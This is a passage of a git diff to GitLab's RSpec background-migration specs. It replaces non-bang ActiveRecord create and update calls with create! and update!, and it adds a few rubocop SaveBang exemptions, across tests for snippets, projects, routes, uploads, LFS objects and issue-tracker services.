+ push_rule_2 = push_rules.create!(id: 6, is_sample: false, project_id: project_2.id)
+ push_rules.create!(id: 8, is_sample: false, project_id: 3)
subject.perform(5, 7)
diff --git a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
index a23b74bcaca..50e799908c6 100644
--- a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
let(:user_name) { 'Test' }
let!(:user) do
- users.create(id: 1,
+ users.create!(id: 1,
email: 'user@example.com',
projects_limit: 10,
username: 'test',
@@ -25,7 +25,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
end
let!(:migration_bot) do
- users.create(id: 100,
+ users.create!(id: 100,
email: "noreply+gitlab-migration-bot%s@#{Settings.gitlab.host}",
user_type: HasUserType::USER_TYPES[:migration_bot],
name: 'GitLab Migration Bot',
@@ -33,9 +33,9 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
username: 'bot')
end
- let!(:snippet_with_repo) { snippets.create(id: 1, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
- let!(:snippet_with_empty_repo) { snippets.create(id: 2, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
- let!(:snippet_without_repo) { snippets.create(id: 3, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
+ let!(:snippet_with_repo) { snippets.create!(id: 1, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
+ let!(:snippet_with_empty_repo) { snippets.create!(id: 2, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
+ let!(:snippet_without_repo) { snippets.create!(id: 3, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
let(:file_name) { 'file_name.rb' }
let(:content) { 'content' }
@@ -197,8 +197,8 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
end
with_them do
- let!(:snippet_with_invalid_path) { snippets.create(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: invalid_file_name, content: content) }
- let!(:snippet_with_valid_path) { snippets.create(id: 5, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
+ let!(:snippet_with_invalid_path) { snippets.create!(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: invalid_file_name, content: content) }
+ let!(:snippet_with_valid_path) { snippets.create!(id: 5, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
let(:ids) { [4, 5] }
after do
@@ -241,7 +241,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
context 'when user name is invalid' do
let(:user_name) { '.' }
- let!(:snippet) { snippets.create(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
+ let!(:snippet) { snippets.create!(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: file_name, content: content) }
let(:ids) { [4, 4] }
after do
@@ -254,7 +254,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
context 'when both user name and snippet file_name are invalid' do
let(:user_name) { '.' }
let!(:other_user) do
- users.create(id: 2,
+ users.create!(id: 2,
email: 'user2@example.com',
projects_limit: 10,
username: 'test2',
@@ -265,8 +265,8 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
confirmed_at: 1.day.ago)
end
- let!(:invalid_snippet) { snippets.create(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: '.', content: content) }
- let!(:snippet) { snippets.create(id: 5, type: 'PersonalSnippet', author_id: other_user.id, file_name: file_name, content: content) }
+ let!(:invalid_snippet) { snippets.create!(id: 4, type: 'PersonalSnippet', author_id: user.id, file_name: '.', content: content) }
+ let!(:snippet) { snippets.create!(id: 5, type: 'PersonalSnippet', author_id: other_user.id, file_name: file_name, content: content) }
let(:ids) { [4, 5] }
after do
diff --git a/spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb b/spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb
index e2175c41513..d503824041b 100644
--- a/spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb
+++ b/spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutProjectFeature, sc
let(:projects) { table(:projects) }
let(:project_features) { table(:project_features) }
- let(:namespace) { namespaces.create(name: 'foo', path: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
let!(:project) { projects.create!(namespace_id: namespace.id) }
let(:private_project_without_feature) { projects.create!(namespace_id: namespace.id, visibility_level: 0) }
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutProjectFeature, sc
let!(:projects_without_feature) { [private_project_without_feature, public_project_without_feature] }
before do
- project_features.create({ project_id: project.id, pages_access_level: 20 })
+ project_features.create!({ project_id: project.id, pages_access_level: 20 })
end
subject { described_class.new.perform(Project.minimum(:id), Project.maximum(:id)) }
diff --git a/spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb b/spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb
index fe2b206ea74..9a497a9e01a 100644
--- a/spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb
+++ b/spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb
@@ -33,8 +33,8 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
let(:clusters) { table(:clusters) }
let(:cluster_groups) { table(:cluster_groups) }
let(:clusters_applications_prometheus) { table(:clusters_applications_prometheus) }
- let(:namespace) { namespaces.create(name: 'user', path: 'user') }
- let(:project) { projects.create(namespace_id: namespace.id) }
+ let(:namespace) { namespaces.create!(name: 'user', path: 'user') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
let(:application_statuses) do
{
@@ -71,7 +71,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'non prometheus services' do
it 'does not change them' do
other_type = 'SomeOtherService'
- services.create(service_params_for(project.id, active: true, type: other_type))
+ services.create!(service_params_for(project.id, active: true, type: other_type))
expect { subject.perform(project.id, project.id + 1) }.not_to change { services.where(type: other_type).order(:id).map { |row| row.attributes } }
end
@@ -85,7 +85,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'template is present for prometheus services' do
it 'creates missing services entries', :aggregate_failures do
- services.create(service_params_for(nil, template: true, properties: { 'from_template' => true }.to_json))
+ services.create!(service_params_for(nil, template: true, properties: { 'from_template' => true }.to_json))
expect { subject.perform(project.id, project.id + 1) }.to change { services.count }.by(1)
updated_rows = services.where(template: false).order(:id).map { |row| row.attributes.slice(*columns).symbolize_keys }
@@ -97,7 +97,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'prometheus integration services exist' do
context 'in active state' do
it 'does not change them' do
- services.create(service_params_for(project.id, active: true))
+ services.create!(service_params_for(project.id, active: true))
expect { subject.perform(project.id, project.id + 1) }.not_to change { services.order(:id).map { |row| row.attributes } }
end
@@ -105,7 +105,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'not in active state' do
it 'sets active attribute to true' do
- service = services.create(service_params_for(project.id, active: false))
+ service = services.create!(service_params_for(project.id, active: false))
expect { subject.perform(project.id, project.id + 1) }.to change { service.reload.active? }.from(false).to(true)
end
@@ -113,7 +113,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'prometheus services are configured manually ' do
it 'does not change them' do
properties = '{"api_url":"http://test.dev","manual_configuration":"1"}'
- services.create(service_params_for(project.id, properties: properties, active: false))
+ services.create!(service_params_for(project.id, properties: properties, active: false))
expect { subject.perform(project.id, project.id + 1) }.not_to change { services.order(:id).map { |row| row.attributes } }
end
@@ -123,11 +123,11 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
end
context 'k8s cluster shared on instance level' do
- let(:cluster) { clusters.create(name: 'cluster', cluster_type: cluster_types[:instance_type]) }
+ let(:cluster) { clusters.create!(name: 'cluster', cluster_type: cluster_types[:instance_type]) }
context 'with installed prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
end
it_behaves_like 'fix services entries state'
@@ -135,7 +135,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'with updated prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:updated], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:updated], version: '123')
end
it_behaves_like 'fix services entries state'
@@ -143,7 +143,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'with errored prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:errored], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:errored], version: '123')
end
it 'does not change services entries' do
@@ -153,26 +153,26 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
end
context 'k8s cluster shared on group level' do
- let(:cluster) { clusters.create(name: 'cluster', cluster_type: cluster_types[:group_type]) }
+ let(:cluster) { clusters.create!(name: 'cluster', cluster_type: cluster_types[:group_type]) }
before do
- cluster_groups.create(cluster_id: cluster.id, group_id: project.namespace_id)
+ cluster_groups.create!(cluster_id: cluster.id, group_id: project.namespace_id)
end
context 'with installed prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
end
it_behaves_like 'fix services entries state'
context 'second k8s cluster without application available' do
- let(:namespace_2) { namespaces.create(name: 'namespace2', path: 'namespace2') }
- let(:project_2) { projects.create(namespace_id: namespace_2.id) }
+ let(:namespace_2) { namespaces.create!(name: 'namespace2', path: 'namespace2') }
+ let(:project_2) { projects.create!(namespace_id: namespace_2.id) }
before do
- cluster_2 = clusters.create(name: 'cluster2', cluster_type: cluster_types[:group_type])
- cluster_groups.create(cluster_id: cluster_2.id, group_id: project_2.namespace_id)
+ cluster_2 = clusters.create!(name: 'cluster2', cluster_type: cluster_types[:group_type])
+ cluster_groups.create!(cluster_id: cluster_2.id, group_id: project_2.namespace_id)
end
it 'changed only affected services entries' do
@@ -184,7 +184,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'with updated prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:updated], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:updated], version: '123')
end
it_behaves_like 'fix services entries state'
@@ -192,7 +192,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'with errored prometheus application' do
before do
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:errored], version: '123')
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:errored], version: '123')
end
it 'does not change services entries' do
@@ -207,7 +207,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
context 'with inactive service' do
it 'does not change services entries' do
- services.create(service_params_for(project.id))
+ services.create!(service_params_for(project.id))
expect { subject.perform(project.id, project.id + 1) }.not_to change { services.order(:id).map { |row| row.attributes } }
end
@@ -216,13 +216,13 @@ RSpec.describe Gitlab::BackgroundMigration::FixProjectsWithoutPrometheusService,
end
context 'k8s cluster for single project' do
- let(:cluster) { clusters.create(name: 'cluster', cluster_type: cluster_types[:project_type]) }
+ let(:cluster) { clusters.create!(name: 'cluster', cluster_type: cluster_types[:project_type]) }
let(:cluster_projects) { table(:cluster_projects) }
context 'with installed prometheus application' do
before do
- cluster_projects.create(cluster_id: cluster.id, project_id: project.id)
- clusters_applications_prometheus.create(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
+ cluster_projects.create!(cluster_id: cluster.id, project_id: project.id)
+ clusters_applications_prometheus.create!(cluster_id: cluster.id, status: application_statuses[:installed], version: '123')
end
it 'does not change services entries' do
diff --git a/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb b/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb
index 7768411828c..0d0ad2cc39e 100644
--- a/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb
+++ b/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb
@@ -5,18 +5,18 @@ require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190620112608 do
let(:namespaces) { table(:namespaces) }
let(:users) { table(:users) }
- let(:user) { users.create(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
+ let(:user) { users.create!(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
context 'updating the namespace names' do
it 'updates a user namespace within range' do
- user2 = users.create(name: "Other user's full name", projects_limit: 10, username: 'also-not-null', email: '2')
- user_namespace1 = namespaces.create(
+ user2 = users.create!(name: "Other user's full name", projects_limit: 10, username: 'also-not-null', email: '2')
+ user_namespace1 = namespaces.create!(
id: 2,
owner_id: user.id,
name: "Should be the user's name",
path: user.username
)
- user_namespace2 = namespaces.create(
+ user_namespace2 = namespaces.create!(
id: 3,
owner_id: user2.id,
name: "Should also be the user's name",
@@ -30,7 +30,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
end
it 'does not update namespaces out of range' do
- user_namespace = namespaces.create(
+ user_namespace = namespaces.create!(
id: 6,
owner_id: user.id,
name: "Should be the user's name",
@@ -42,7 +42,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
end
it 'does not update groups owned by the users' do
- user_group = namespaces.create(
+ user_group = namespaces.create!(
id: 2,
owner_id: user.id,
name: 'A group name',
@@ -58,7 +58,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
context 'namespace route names' do
let(:routes) { table(:routes) }
let(:namespace) do
- namespaces.create(
+ namespaces.create!(
id: 2,
owner_id: user.id,
name: "Will be updated to the user's name",
@@ -67,7 +67,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
end
it "updates the route name if it didn't match the namespace" do
- route = routes.create(path: namespace.path, name: 'Incorrect name', source_type: 'Namespace', source_id: namespace.id)
+ route = routes.create!(path: namespace.path, name: 'Incorrect name', source_type: 'Namespace', source_id: namespace.id)
described_class.new.perform(1, 5)
@@ -75,7 +75,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
end
it 'updates the route name if it was nil match the namespace' do
- route = routes.create(path: namespace.path, name: nil, source_type: 'Namespace', source_id: namespace.id)
+ route = routes.create!(path: namespace.path, name: nil, source_type: 'Namespace', source_id: namespace.id)
described_class.new.perform(1, 5)
@@ -83,14 +83,14 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20190
end
it "doesn't update group routes" do
- route = routes.create(path: 'group-path', name: 'Group name', source_type: 'Group', source_id: namespace.id)
+ route = routes.create!(path: 'group-path', name: 'Group name', source_type: 'Group', source_id: namespace.id)
expect { described_class.new.perform(1, 5) }
.not_to change { route.reload.name }
end
it "doesn't touch routes for namespaces out of range" do
- user_namespace = namespaces.create(
+ user_namespace = namespaces.create!(
id: 6,
owner_id: user.id,
name: "Should be the user's name",
diff --git a/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb b/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb
index 4c04043ebd0..211693d917b 100644
--- a/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb
+++ b/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb
@@ -8,10 +8,10 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
let(:routes) { table(:routes) }
let(:projects) { table(:projects) }
- let(:user) { users.create(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
+ let(:user) { users.create!(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
let(:namespace) do
- namespaces.create(
+ namespaces.create!(
owner_id: user.id,
name: "Should eventually be the user's name",
path: user.username
@@ -19,11 +19,11 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
end
let(:project) do
- projects.create(namespace_id: namespace.id, name: 'Project Name')
+ projects.create!(namespace_id: namespace.id, name: 'Project Name')
end
it "updates the route for a project if it did not match the user's name" do
- route = routes.create(
+ route = routes.create!(
id: 1,
path: "#{user.username}/#{project.path}",
source_id: project.id,
@@ -37,7 +37,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
end
it 'updates the route for a project if the name was nil' do
- route = routes.create(
+ route = routes.create!(
id: 1,
path: "#{user.username}/#{project.path}",
source_id: project.id,
@@ -51,7 +51,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
end
it 'does not update routes that were are out of the range' do
- route = routes.create(
+ route = routes.create!(
id: 6,
path: "#{user.username}/#{project.path}",
source_id: project.id,
@@ -64,14 +64,14 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
end
it 'does not update routes for projects in groups owned by the user' do
- group = namespaces.create(
+ group = namespaces.create!(
owner_id: user.id,
name: 'A group',
path: 'a-path',
type: ''
)
- project = projects.create(namespace_id: group.id, name: 'Project Name')
- route = routes.create(
+ project = projects.create!(namespace_id: group.id, name: 'Project Name')
+ route = routes.create!(
id: 1,
path: "#{group.path}/#{project.path}",
source_id: project.id,
@@ -84,7 +84,7 @@ RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20
end
it 'does not update routes for namespaces' do
- route = routes.create(
+ route = routes.create!(
id: 1,
path: namespace.path,
source_id: namespace.id,
diff --git a/spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb b/spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb
index 934ab7e37f8..264faa4de3b 100644
--- a/spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb
+++ b/spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Gitlab::BackgroundMigration::LegacyUploadMover, :aggregate_failur
if with_file
upload = create(:upload, :with_file, :attachment_upload, params)
- model.update(attachment: upload.retrieve_uploader)
+ model.update!(attachment: upload.retrieve_uploader)
model.attachment.upload
else
create(:upload, :attachment_upload, params)
@@ -245,7 +245,7 @@ RSpec.describe Gitlab::BackgroundMigration::LegacyUploadMover, :aggregate_failur
end
let(:connection) { ::Fog::Storage.new(FileUploader.object_store_credentials) }
- let(:bucket) { connection.directories.create(key: 'uploads') }
+ let(:bucket) { connection.directories.create(key: 'uploads') } # rubocop:disable Rails/SaveBang
before do
stub_uploads_object_storage(FileUploader)
@@ -257,7 +257,7 @@ RSpec.describe Gitlab::BackgroundMigration::LegacyUploadMover, :aggregate_failur
context 'when the file belongs to a legacy project' do
before do
- bucket.files.create(remote_file)
+ bucket.files.create(remote_file) # rubocop:disable Rails/SaveBang
end
let(:project) { legacy_project }
@@ -267,7 +267,7 @@ RSpec.describe Gitlab::BackgroundMigration::LegacyUploadMover, :aggregate_failur
context 'when the file belongs to a hashed project' do
before do
- bucket.files.create(remote_file)
+ bucket.files.create(remote_file) # rubocop:disable Rails/SaveBang
end
let(:project) { hashed_project }
diff --git a/spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb b/spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb
index 66a1787b2cb..7227f80a062 100644
--- a/spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb
+++ b/spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Gitlab::BackgroundMigration::LegacyUploadsMigrator do
if with_file
upload = create(:upload, :with_file, :attachment_upload, params)
- model.update(attachment: upload.retrieve_uploader)
+ model.update!(attachment: upload.retrieve_uploader)
model.attachment.upload
else
create(:upload, :attachment_upload, params)
diff --git a/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb b/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb
index dda4f5a3a36..b7cf101dd8a 100644
--- a/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb
+++ b/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb
@@ -10,44 +10,44 @@ RSpec.describe Gitlab::BackgroundMigration::LinkLfsObjectsProjects, :migration,
let(:lfs_objects) { table(:lfs_objects) }
let(:lfs_objects_projects) { table(:lfs_objects_projects) }
- let(:namespace) { namespaces.create(name: 'GitLab', path: 'gitlab') }
+ let(:namespace) { namespaces.create!(name: 'GitLab', path: 'gitlab') }
- let(:fork_network) { fork_networks.create(root_project_id: source_project.id) }
- let(:another_fork_network) { fork_networks.create(root_project_id: another_source_project.id) }
+ let(:fork_network) { fork_networks.create!(root_project_id: source_project.id) }
+ let(:another_fork_network) { fork_networks.create!(root_project_id: another_source_project.id) }
- let(:source_project) { projects.create(namespace_id: namespace.id) }
- let(:another_source_project) { projects.create(namespace_id: namespace.id) }
- let(:project) { projects.create(namespace_id: namespace.id) }
- let(:another_project) { projects.create(namespace_id: namespace.id) }
- let(:partially_linked_project) { projects.create(namespace_id: namespace.id) }
- let(:fully_linked_project) { projects.create(namespace_id: namespace.id) }
+ let(:source_project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_source_project) { projects.create!(namespace_id: namespace.id) }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_project) { projects.create!(namespace_id: namespace.id) }
+ let(:partially_linked_project) { projects.create!(namespace_id: namespace.id) }
+ let(:fully_linked_project) { projects.create!(namespace_id: namespace.id) }
- let(:lfs_object) { lfs_objects.create(oid: 'abc123', size: 100) }
- let(:another_lfs_object) { lfs_objects.create(oid: 'def456', size: 200) }
+ let(:lfs_object) { lfs_objects.create!(oid: 'abc123', size: 100) }
+ let(:another_lfs_object) { lfs_objects.create!(oid: 'def456', size: 200) }
let!(:source_project_lop_1) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: lfs_object.id,
project_id: source_project.id
)
end
let!(:source_project_lop_2) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: another_lfs_object.id,
project_id: source_project.id
)
end
let!(:another_source_project_lop_1) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: lfs_object.id,
project_id: another_source_project.id
)
end
let!(:another_source_project_lop_2) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: another_lfs_object.id,
project_id: another_source_project.id
)
@@ -57,23 +57,23 @@ RSpec.describe Gitlab::BackgroundMigration::LinkLfsObjectsProjects, :migration,
stub_const("#{described_class}::BATCH_SIZE", 2)
# Create links between projects
- fork_network_members.create(fork_network_id: fork_network.id, project_id: source_project.id, forked_from_project_id: nil)
+ fork_network_members.create!(fork_network_id: fork_network.id, project_id: source_project.id, forked_from_project_id: nil)
[project, partially_linked_project, fully_linked_project].each do |p|
- fork_network_members.create(
+ fork_network_members.create!(
fork_network_id: fork_network.id,
project_id: p.id,
forked_from_project_id: fork_network.root_project_id
)
end
- fork_network_members.create(fork_network_id: another_fork_network.id, project_id: another_source_project.id, forked_from_project_id: nil)
- fork_network_members.create(fork_network_id: another_fork_network.id, project_id: another_project.id, forked_from_project_id: another_fork_network.root_project_id)
+ fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_source_project.id, forked_from_project_id: nil)
+ fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_project.id, forked_from_project_id: another_fork_network.root_project_id)
# Links LFS objects to some projects
- lfs_objects_projects.create(lfs_object_id: lfs_object.id, project_id: fully_linked_project.id)
- lfs_objects_projects.create(lfs_object_id: another_lfs_object.id, project_id: fully_linked_project.id)
- lfs_objects_projects.create(lfs_object_id: lfs_object.id, project_id: partially_linked_project.id)
+ lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: fully_linked_project.id)
+ lfs_objects_projects.create!(lfs_object_id: another_lfs_object.id, project_id: fully_linked_project.id)
+ lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: partially_linked_project.id)
end
context 'when there are LFS objects to be linked' do
@@ -96,8 +96,8 @@ RSpec.describe Gitlab::BackgroundMigration::LinkLfsObjectsProjects, :migration,
before do
# Links LFS objects to all projects
projects.all.each do |p|
- lfs_objects_projects.create(lfs_object_id: lfs_object.id, project_id: p.id)
- lfs_objects_projects.create(lfs_object_id: another_lfs_object.id, project_id: p.id)
+ lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: p.id)
+ lfs_objects_projects.create!(lfs_object_id: another_lfs_object.id, project_id: p.id)
end
end
diff --git a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
index d829fd5daf5..8668216d014 100644
--- a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
@@ -97,7 +97,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with Jira service' do
let!(:service) do
- services.create(id: 10, type: 'JiraService', title: nil, properties: jira_properties.to_json, category: 'issue_tracker')
+ services.create!(id: 10, type: 'JiraService', title: nil, properties: jira_properties.to_json, category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -119,7 +119,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with bugzilla service' do
let!(:service) do
- services.create(id: 11, type: 'BugzillaService', title: nil, properties: tracker_properties.to_json, category: 'issue_tracker')
+ services.create!(id: 11, type: 'BugzillaService', title: nil, properties: tracker_properties.to_json, category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -140,7 +140,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with youtrack service' do
let!(:service) do
- services.create(id: 12, type: 'YoutrackService', title: nil, properties: tracker_properties_no_url.to_json, category: 'issue_tracker')
+ services.create!(id: 12, type: 'YoutrackService', title: nil, properties: tracker_properties_no_url.to_json, category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -161,7 +161,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with gitlab service with no properties' do
let!(:service) do
- services.create(id: 13, type: 'GitlabIssueTrackerService', title: nil, properties: {}, category: 'issue_tracker')
+ services.create!(id: 13, type: 'GitlabIssueTrackerService', title: nil, properties: {}, category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -173,7 +173,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with redmine service already with data fields' do
let!(:service) do
- services.create(id: 14, type: 'RedmineService', title: nil, properties: tracker_properties_no_url.to_json, category: 'issue_tracker').tap do |service|
+ services.create!(id: 14, type: 'RedmineService', title: nil, properties: tracker_properties_no_url.to_json, category: 'issue_tracker').tap do |service|
IssueTrackerData.create!(service_id: service.id, project_url: url, new_issue_url: new_issue_url, issues_url: issues_url)
end
end
@@ -187,7 +187,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with custom issue tracker which has data fields record inconsistent with properties field' do
let!(:service) do
- services.create(id: 15, type: 'CustomIssueTrackerService', title: 'Existing title', properties: jira_properties.to_json, category: 'issue_tracker').tap do |service|
+ services.create!(id: 15, type: 'CustomIssueTrackerService', title: 'Existing title', properties: jira_properties.to_json, category: 'issue_tracker').tap do |service|
IssueTrackerData.create!(service_id: service.id, project_url: 'http://other_url', new_issue_url: 'http://other_url/new_issue', issues_url: 'http://other_url/issues')
end
end
@@ -209,7 +209,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with Jira service which has data fields record inconsistent with properties field' do
let!(:service) do
- services.create(id: 16, type: 'CustomIssueTrackerService', description: 'Existing description', properties: jira_properties.to_json, category: 'issue_tracker').tap do |service|
+ services.create!(id: 16, type: 'CustomIssueTrackerService', description: 'Existing description', properties: jira_properties.to_json, category: 'issue_tracker').tap do |service|
JiraTrackerData.create!(service_id: service.id, url: 'http://other_jira_url')
end
end
@@ -232,7 +232,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'non issue tracker service' do
let!(:service) do
- services.create(id: 17, title: nil, description: nil, type: 'OtherService', properties: tracker_properties.to_json)
+ services.create!(id: 17, title: nil, description: nil, type: 'OtherService', properties: tracker_properties.to_json)
end
it_behaves_like 'handle properties'
@@ -248,7 +248,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'Jira service with empty properties' do
let!(:service) do
- services.create(id: 18, type: 'JiraService', properties: '', category: 'issue_tracker')
+ services.create!(id: 18, type: 'JiraService', properties: '', category: 'issue_tracker')
end
